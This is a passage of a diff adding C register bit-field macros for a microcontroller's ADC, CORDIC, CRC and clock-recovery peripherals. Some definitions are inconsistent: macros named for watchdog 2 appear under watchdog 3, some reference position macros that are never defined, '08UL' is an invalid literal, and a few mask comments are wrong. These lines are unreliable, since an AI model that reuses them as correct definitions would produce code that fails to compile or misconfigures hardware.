ADC_AWD3TR_HT3_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD3TR_HT3 ADC_AWD3TR_HT3_Msk /*!< ADC analog watchdog 3 threshold high */ +#define ADC_AWD3TR_HT3_0 (0x001UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00010000 */ +#define ADC_AWD3TR_HT3_1 (0x002UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00020000 */ +#define ADC_AWD3TR_HT3_2 (0x004UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00040000 */ +#define ADC_AWD3TR_HT3_3 (0x008UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00080000 */ +#define ADC_AWD3TR_HT3_4 (0x010UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00100000 */ +#define ADC_AWD3TR_HT3_5 (0x020UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00200000 */ +#define ADC_AWD3TR_HT3_6 (0x040UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00400000 */ +#define ADC_AWD3TR_HT3_7 (0x080UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00800000 */ +#define ADC_AWD3TR_HT3_8 (0x100UL << ADC_AWD3TR_HT3_Pos) /*!< 0x01000000 */ +#define ADC_AWD3TR_HT3_9 (0x200UL << ADC_AWD3TR_HT3_Pos) /*!< 0x02000000 */ +#define ADC_AWD3TR_HT3_10 (0x400UL << ADC_AWD3TR_HT3_Pos) /*!< 0x04000000 */ +#define ADC_AWD3TR_HT3_11 (0x800UL << ADC_AWD3TR_HT3_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWD3CR register ********************/ +#define ADC_AWD3CR_AWD3CH_Pos (0UL) +#define ADC_AWD3CR_AWD3CH_Msk (0xFFFFFFUL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD3CR_AWD3CH ADC_AWD3CR_AWD3CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD3CR_AWD3CH_0 (0x00001UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD3CR_AWD3CH_1 (0x00002UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD3CR_AWD3CH_2 (0x00004UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD3CR_AWD3CH_3 (0x00008UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD3CR_AWD3CH_4 (0x00010UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD3CR_AWD3CH_5 (0x00020UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD3CR_AWD3CH_6 (0x00040UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD3CR_AWD3CH_7 (0x00080UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD3CR_AWD3CH_8 (0x00100UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD3CR_AWD3CH_9 (0x00200UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD3CR_AWD3CH_10 (0x00400UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD3CR_AWD3CH_11 (0x00800UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD3CR_AWD3CH_12 (0x01000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD3CR_AWD3CH_13 (0x02000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD3CR_AWD3CH_14 (0x04000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD3CR_AWD3CH_15 (0x08000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD3CR_AWD3CH_16 (0x10000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD3CR_AWD3CH_17 (0x20000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD3CR_AWD3CH_18 (0x40000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD3CR_AWD3CH_19 (0x80000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD3CR_AWD2CH_20 (0x100000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD3CR_AWD2CH_21 (0x200000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD3CR_AWD2CH_22 (0x400000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD3CR_AWD2CH_23 (0x800000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_DIFSEL register ********************/ +#define ADC_DIFSEL_DIFSEL_Pos (0UL) +#define ADC_DIFSEL_DIFSEL_Msk (0xFFFFFUL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_DIFSEL_DIFSEL ADC_DIFSEL_DIFSEL_Msk /*!< ADC differential modes for channels 1 to 18 */ +#define ADC_DIFSEL_DIFSEL_0 (0x00001UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000001 */ +#define ADC_DIFSEL_DIFSEL_1 (0x00002UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000002 */ +#define ADC_DIFSEL_DIFSEL_2 (0x00004UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000004 */ +#define ADC_DIFSEL_DIFSEL_3 (0x00008UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000008 */ +#define ADC_DIFSEL_DIFSEL_4 (0x00010UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000010 */ +#define ADC_DIFSEL_DIFSEL_5 (0x00020UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000020 */ +#define ADC_DIFSEL_DIFSEL_6 (0x00040UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000040 */ +#define ADC_DIFSEL_DIFSEL_7 (0x00080UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000080 */ +#define ADC_DIFSEL_DIFSEL_8 (0x00100UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000100 */ +#define ADC_DIFSEL_DIFSEL_9 (0x00200UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000200 */ +#define ADC_DIFSEL_DIFSEL_10 (0x00400UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000400 */ +#define ADC_DIFSEL_DIFSEL_11 (0x00800UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000800 */ +#define ADC_DIFSEL_DIFSEL_12 (0x01000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00001000 */ +#define ADC_DIFSEL_DIFSEL_13 (0x02000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00002000 */ +#define ADC_DIFSEL_DIFSEL_14 (0x04000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00004000 */ +#define ADC_DIFSEL_DIFSEL_15 (0x08000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00008000 */ +#define ADC_DIFSEL_DIFSEL_16 (0x10000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00010000 */ +#define ADC_DIFSEL_DIFSEL_17 (0x20000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00020000 */ +#define ADC_DIFSEL_DIFSEL_18 (0x40000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00040000 */ +#define ADC_DIFSEL_DIFSEL_19 (0x80000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_CALFACT register ********************/ +#define ADC_CALFACT_I_APB_ADDR_Pos (0UL) +#define ADC_CALFACT_I_APB_ADDR_Msk (0xFFUL << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x000000FF */ +#define ADC_CALFACT_I_APB_ADDR ADC_CALFACT_I_APB_ADDR_Msk /*!< ADC calibration factors in single-ended mode */ +#define ADC_CALFACT_I_APB_ADDR_0 (0x001U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT_I_APB_ADDR_1 (0x002U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT_I_APB_ADDR_2 (0x004U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT_I_APB_ADDR_3 (0x008U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT_I_APB_ADDR_4 (0x010U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT_I_APB_ADDR_5 (0x020U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT_I_APB_ADDR_6 (0x040U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT_I_APB_ADDR_7 (0x080U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000080 */ + +#define ADC_CALFACT_I_APB_DATA_Pos (08UL) +#define ADC_CALFACT_I_APB_DATA_Msk (0xFFUL << ADC_CALFACT_I_APB_DATA_Pos) /*!< 0x0000FF00 */ +#define ADC_CALFACT_I_APB_DATA ADC_CALFACT_I_APB_DATA_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_APB_DATA_0 (0x001U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT_APB_DATA_1 (0x002U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT_APB_DATA_2 (0x004U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT_APB_DATA_3 (0x008U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT_APB_DATA_4 (0x010U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT_APB_DATA_5 (0x020U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT_APB_DATA_6 (0x040U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT_APB_DATA_7 (0x080U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00008000 */ + +#define ADC_CALFACT_VALIDITY_Pos (16UL) +#define ADC_CALFACT_VALIDITY_Msk (0x1UL << ADC_CALFACT_VALIDITY_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT_VALIDITY ADC_CALFACT_VALIDITY_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_LATCH_COEF_Pos (24UL) +#define ADC_CALFACT_LATCH_COEF_Msk (0x1UL << ADC_CALFACT_LATCH_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_LATCH_COEF ADC_CALFACT_LATCH_COEF_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_CAPTURE_COEF_Pos (25UL) +#define ADC_CALFACT_CAPTURE_COEF_Msk (0x1UL << ADC_CALFACT_CAPTURE_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_CAPTURE_COEF ADC_CALFACT_CAPTURE_COEF_Msk /*!< ADC calibration factors in differential mode */ + +#define ADC4_CALFACT_CALFACT_Pos (0UL) +#define ADC4_CALFACT_CALFACT_Msk (0x7FUL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x0000007F */ +#define ADC4_CALFACT_CALFACT ADC4_CALFACT_CALFACT_Msk /*!< ADC calibration factor in single-ended mode */ +#define ADC4_CALFACT_CALFACT_0 (0x01UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC4_CALFACT_CALFACT_1 (0x02UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC4_CALFACT_CALFACT_2 (0x04UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC4_CALFACT_CALFACT_3 (0x08UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC4_CALFACT_CALFACT_4 (0x10UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC4_CALFACT_CALFACT_5 (0x20UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC4_CALFACT_CALFACT_6 (0x40UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000040 */ + +/******************** Bit definition for ADC_CALFACT2 register ********************/ +#define ADC_CALFACT2_CALFACT_Pos (0UL) +#define ADC_CALFACT2_CALFACT_Msk (0xFFFFFFFFUL << ADC_CALFACT2_CALFACT_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CALFACT2_CALFACT ADC_CALFACT2_CALFACT_Msk /*!< ADC Linearity calibration factors */ +#define ADC_CALFACT2_CALFACT_0 (0x00000001UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT2_CALFACT_1 (0x00000002UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT2_CALFACT_2 (0x00000004UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT2_CALFACT_3 (0x00000008UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT2_CALFACT_4 (0x00000010UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT2_CALFACT_5 (0x00000020UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT2_CALFACT_6 (0x00000040UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT2_CALFACT_7 (0x00000080UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000080 */ +#define ADC_CALFACT2_CALFACT_8 (0x00000100UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT2_CALFACT_9 (0x00000200UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT2_CALFACT_10 (0x00000400UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT2_CALFACT_11 (0x00000800UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT2_CALFACT_12 (0x00001000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT2_CALFACT_13 (0x00002000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT2_CALFACT_14 (0x00004000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT2_CALFACT_15 (0x00008000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00008000 */ +#define ADC_CALFACT2_CALFACT_16 (0x00010000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT2_CALFACT_17 (0x00020000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00020000 */ +#define ADC_CALFACT2_CALFACT_18 (0x00040000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00040000 */ +#define ADC_CALFACT2_CALFACT_19 (0x00080000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00080000 */ +#define ADC_CALFACT2_CALFACT_20 (0x00100000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00100000 */ +#define ADC_CALFACT2_CALFACT_21 (0x00200000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00200000 */ +#define ADC_CALFACT2_CALFACT_22 (0x00400000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00400000 */ +#define ADC_CALFACT2_CALFACT_23 (0x00800000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00800000 */ +#define ADC_CALFACT2_CALFACT_24 (0x01000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT2_CALFACT_25 (0x02000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x02000000 */ +#define ADC_CALFACT2_CALFACT_26 (0x04000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x04000000 */ +#define ADC_CALFACT2_CALFACT_27 (0x08000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x08000000 */ +#define ADC_CALFACT2_CALFACT_28 (0x10000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x10000000 */ +#define ADC_CALFACT2_CALFACT_29 (0x20000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x20000000 */ +#define ADC_CALFACT2_CALFACT_30 (0x40000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x40000000 */ +#define ADC_CALFACT2_CALFACT_31 (0x80000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OR register ********************/ +#define ADC_OR_CHN0SEL_Pos (0UL) +#define ADC_OR_CHN0SEL_Msk (0x1UL << ADC_OR_CHN0SEL_Pos) /*!< 0x00000001 */ +#define ADC_OR_CHN0SEL ADC_OR_CHN0SEL_Msk /*!< ADC Channel 0 selection */ + +/************************* ADC Common registers *****************************/ + +#define ADC_CCR_PRESC_Pos (18UL) +#define ADC_CCR_PRESC_Msk (0xFUL << ADC_CCR_PRESC_Pos) /*!< 0x003C0000 */ +#define ADC_CCR_PRESC ADC_CCR_PRESC_Msk /*!< ADC prescaler */ +#define ADC_CCR_PRESC_0 (0x1UL << ADC_CCR_PRESC_Pos) /*!< 0x00040000 */ +#define ADC_CCR_PRESC_1 (0x2UL << ADC_CCR_PRESC_Pos) /*!< 0x00080000 */ +#define ADC_CCR_PRESC_2 (0x4UL << ADC_CCR_PRESC_Pos) /*!< 0x00100000 */ +#define ADC_CCR_PRESC_3 (0x8UL << ADC_CCR_PRESC_Pos) /*!< 0x00200000 */ + +#define ADC_CCR_VREFEN_Pos (22UL) +#define ADC_CCR_VREFEN_Msk (0x1UL << ADC_CCR_VREFEN_Pos) /*!< 0x00400000 */ +#define ADC_CCR_VREFEN ADC_CCR_VREFEN_Msk /*!< VREFINT enable */ +#define ADC_CCR_VSENSEEN_Pos (23UL) +#define ADC_CCR_VSENSEEN_Msk (0x1UL << ADC_CCR_VSENSEEN_Pos) /*!< 0x00800000 */ +#define ADC_CCR_VSENSEEN ADC_CCR_VSENSEEN_Msk /*!< Temperature sensor enable */ +#define ADC_CCR_VBATEN_Pos (24UL) +#define ADC_CCR_VBATEN_Msk (0x1UL << ADC_CCR_VBATEN_Pos) /*!< 0x01000000 */ +#define ADC_CCR_VBATEN ADC_CCR_VBATEN_Msk /*!< VBAT enable */ +#define ADC_CCR_LFMEN_Pos (25UL) +#define ADC_CCR_LFMEN_Msk (0x1UL << ADC_CCR_LFMEN_Pos) /*!< 0x02000000 */ +#define ADC_CCR_LFMEN ADC_CCR_LFMEN_Msk /*!< Low Frequency Mode Enable, specific ADC4*/ +#define ADC_CCR_VDDCOREN_Pos (26UL) +#define ADC_CCR_VDDCOREN_Msk (0x1UL << ADC_CCR_VDDCOREN_Pos) /*!< 0x04000000 */ +#define ADC_CCR_VDDCOREN ADC_CCR_VDDCOREN_Msk /*!< VDDCode enable */ + + +/******************************************************************************/ +/* */ +/* CORDIC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CORDIC_CSR register *****************/ +#define CORDIC_CSR_FUNC_Pos (0UL) +#define CORDIC_CSR_FUNC_Msk (0xFUL << CORDIC_CSR_FUNC_Pos) /*!< 0x0000000F */ +#define CORDIC_CSR_FUNC CORDIC_CSR_FUNC_Msk /*!< Function */ +#define CORDIC_CSR_FUNC_0 (0x1UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000001 */ +#define CORDIC_CSR_FUNC_1 (0x2UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000002 */ +#define CORDIC_CSR_FUNC_2 (0x4UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000004 */ +#define CORDIC_CSR_FUNC_3 (0x8UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000008 */ +#define CORDIC_CSR_PRECISION_Pos (4UL) +#define CORDIC_CSR_PRECISION_Msk (0xFUL << CORDIC_CSR_PRECISION_Pos) /*!< 0x000000F0 */ +#define CORDIC_CSR_PRECISION CORDIC_CSR_PRECISION_Msk /*!< Precision */ +#define CORDIC_CSR_PRECISION_0 (0x1UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000010 */ +#define CORDIC_CSR_PRECISION_1 (0x2UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000020 */ +#define CORDIC_CSR_PRECISION_2 (0x4UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000040 */ +#define CORDIC_CSR_PRECISION_3 (0x8UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000080 */ +#define CORDIC_CSR_SCALE_Pos (8UL) +#define CORDIC_CSR_SCALE_Msk (0x7UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000700 */ +#define CORDIC_CSR_SCALE CORDIC_CSR_SCALE_Msk /*!< Scaling factor */ +#define CORDIC_CSR_SCALE_0 (0x1UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000100 */ +#define CORDIC_CSR_SCALE_1 (0x2UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000200 */ +#define CORDIC_CSR_SCALE_2 (0x4UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000400 */ +#define CORDIC_CSR_IEN_Pos (16UL) +#define CORDIC_CSR_IEN_Msk (0x1UL << CORDIC_CSR_IEN_Pos) /*!< 0x00010000 */ +#define CORDIC_CSR_IEN CORDIC_CSR_IEN_Msk /*!< Interrupt Enable */ +#define CORDIC_CSR_DMAREN_Pos (17UL) +#define CORDIC_CSR_DMAREN_Msk (0x1UL << CORDIC_CSR_DMAREN_Pos) /*!< 0x00020000 */ +#define CORDIC_CSR_DMAREN CORDIC_CSR_DMAREN_Msk /*!< DMA Read channel Enable */ +#define CORDIC_CSR_DMAWEN_Pos (18UL) +#define CORDIC_CSR_DMAWEN_Msk (0x1UL << CORDIC_CSR_DMAWEN_Pos) /*!< 0x00040000 */ +#define CORDIC_CSR_DMAWEN CORDIC_CSR_DMAWEN_Msk /*!< DMA Write channel Enable */ +#define CORDIC_CSR_NRES_Pos (19UL) +#define CORDIC_CSR_NRES_Msk (0x1UL << CORDIC_CSR_NRES_Pos) /*!< 0x00080000 */ +#define CORDIC_CSR_NRES CORDIC_CSR_NRES_Msk /*!< Number of results in WDATA register */ +#define CORDIC_CSR_NARGS_Pos (20UL) +#define CORDIC_CSR_NARGS_Msk (0x1UL << CORDIC_CSR_NARGS_Pos) /*!< 0x00100000 */ +#define CORDIC_CSR_NARGS CORDIC_CSR_NARGS_Msk /*!< Number of arguments in RDATA register */ +#define CORDIC_CSR_RESSIZE_Pos (21UL) +#define CORDIC_CSR_RESSIZE_Msk (0x1UL << CORDIC_CSR_RESSIZE_Pos) /*!< 0x00200000 */ +#define CORDIC_CSR_RESSIZE CORDIC_CSR_RESSIZE_Msk /*!< Width of output data */ +#define CORDIC_CSR_ARGSIZE_Pos (22UL) +#define CORDIC_CSR_ARGSIZE_Msk (0x1UL << CORDIC_CSR_ARGSIZE_Pos) /*!< 0x00400000 */ +#define CORDIC_CSR_ARGSIZE CORDIC_CSR_ARGSIZE_Msk /*!< Width of input data */ +#define CORDIC_CSR_RRDY_Pos (31UL) +#define CORDIC_CSR_RRDY_Msk (0x1UL << CORDIC_CSR_RRDY_Pos) /*!< 0x80000000 */ +#define CORDIC_CSR_RRDY CORDIC_CSR_RRDY_Msk /*!< Result Ready Flag */ + +/******************* Bit definition for CORDIC_WDATA register ***************/ +#define CORDIC_WDATA_ARG_Pos (0UL) +#define CORDIC_WDATA_ARG_Msk (0xFFFFFFFFUL << CORDIC_WDATA_ARG_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_WDATA_ARG CORDIC_WDATA_ARG_Msk /*!< Input Argument */ + +/******************* Bit definition for CORDIC_RDATA register ***************/ +#define CORDIC_RDATA_RES_Pos (0UL) +#define CORDIC_RDATA_RES_Msk (0xFFFFFFFFUL << CORDIC_RDATA_RES_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_RDATA_RES CORDIC_RDATA_RES_Msk /*!< Output Result */ + +/******************************************************************************/ +/* */ +/* CRC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CRC_DR register *********************/ +#define CRC_DR_DR_Pos (0UL) +#define CRC_DR_DR_Msk (0xFFFFFFFFUL << CRC_DR_DR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_DR_DR CRC_DR_DR_Msk /*!< Data register bits */ + +/******************* Bit definition for CRC_IDR register ********************/ +#define CRC_IDR_IDR_Pos (0UL) +#define CRC_IDR_IDR_Msk (0xFFFFFFFFUL << CRC_IDR_IDR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_IDR_IDR CRC_IDR_IDR_Msk /*!< General-purpose 32-bits data register bits */ + +/******************** Bit definition for CRC_CR register ********************/ +#define CRC_CR_RESET_Pos (0UL) +#define CRC_CR_RESET_Msk (0x1UL << CRC_CR_RESET_Pos) /*!< 0x00000001 */ +#define CRC_CR_RESET CRC_CR_RESET_Msk /*!< RESET the CRC computation unit bit */ +#define CRC_CR_POLYSIZE_Pos (3UL) +#define CRC_CR_POLYSIZE_Msk (0x3UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000018 */ +#define CRC_CR_POLYSIZE CRC_CR_POLYSIZE_Msk /*!< Polynomial size bits */ +#define CRC_CR_POLYSIZE_0 (0x1UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000008 */ +#define CRC_CR_POLYSIZE_1 (0x2UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000010 */ +#define CRC_CR_REV_IN_Pos (5UL) +#define CRC_CR_REV_IN_Msk (0x3UL << CRC_CR_REV_IN_Pos) /*!< 0x00000060 */ +#define CRC_CR_REV_IN CRC_CR_REV_IN_Msk /*!< REV_IN Reverse Input Data bits */ +#define CRC_CR_REV_IN_0 (0x1UL << CRC_CR_REV_IN_Pos) /*!< 0x00000020 */ +#define CRC_CR_REV_IN_1 (0x2UL << CRC_CR_REV_IN_Pos) /*!< 0x00000040 */ +#define CRC_CR_REV_OUT_Pos (7UL) +#define CRC_CR_REV_OUT_Msk (0x1UL << CRC_CR_REV_OUT_Pos) /*!< 0x00000080 */ +#define CRC_CR_REV_OUT CRC_CR_REV_OUT_Msk /*!< REV_OUT Reverse Output Data bits */ + +/******************* Bit definition for CRC_INIT register *******************/ +#define CRC_INIT_INIT_Pos (0UL) +#define CRC_INIT_INIT_Msk (0xFFFFFFFFUL << CRC_INIT_INIT_Pos) /*!< 0xFFFFFFFF */ +#define CRC_INIT_INIT CRC_INIT_INIT_Msk /*!< Initial CRC value bits */ + +/******************* Bit definition for CRC_POL register ********************/ +#define CRC_POL_POL_Pos (0UL) +#define CRC_POL_POL_Msk (0xFFFFFFFFUL << CRC_POL_POL_Pos) /*!< 0xFFFFFFFF */ +#define CRC_POL_POL CRC_POL_POL_Msk /*!< Coefficients of the polynomial */ + +/******************************************************************************/ +/* */ +/* CRS Clock Recovery System */ +/******************************************************************************/ +/******************* Bit definition for CRS_CR register *********************/ +#define CRS_CR_SYNCOKIE_Pos (0UL) +#define CRS_CR_SYNCOKIE_Msk (0x1UL << CRS_CR_SYNCOKIE_Pos) /*!< 0x00000001 */ +#define CRS_CR_SYNCOKIE CRS_CR_SYNCOKIE_Msk /*!< SYNC event OK interrupt enable */ +#define CRS_CR_SYNCWARNIE_Pos (1UL) +#define CRS_CR_SYNCWARNIE_Msk (0x1UL << CRS_CR_SYNCWARNIE_Pos) /*!< 0x00000002 */ +#define CRS_CR_SYNCWARNIE CRS_CR_SYNCWARNIE_Msk /*!< SYNC warning interrupt enable */ +#define CRS_CR_ERRIE_Pos (2UL) +#define CRS_CR_ERRIE_Msk (0x1UL << CRS_CR_ERRIE_Pos) /*!< 0x00000004 */ +#define CRS_CR_ERRIE CRS_CR_ERRIE_Msk /*!< SYNC error or trimming error interrupt enable */ +#define CRS_CR_ESYNCIE_Pos (3UL) +#define CRS_CR_ESYNCIE_Msk (0x1UL << CRS_CR_ESYNCIE_Pos) /*!< 0x00000008 */ +#define CRS_CR_ESYNCIE CRS_CR_ESYNCIE_Msk /*!< Expected SYNC interrupt enable */ +#define CRS_CR_CEN_Pos (5UL) +#define CRS_CR_CEN_Msk (0x1UL << CRS_CR_CEN_Pos) /*!< 0x00000020 */ +#define CRS_CR_CEN CRS_CR_CEN_Msk /*!< Frequency error counter enable */ +#define CRS_CR_AUTOTRIMEN_Pos (6UL) +#define CRS_CR_AUTOTRIMEN_Msk (0x1UL << CRS_CR_AUTOTRIMEN_Pos) /*!< 0x00000040 */ +#define CRS_CR_AUTOTRIMEN CRS_CR_AUTOTRIMEN_Msk /*!< Automatic trimming enable */ +#define CRS_CR_SWSYNC_Pos (7UL) +#define 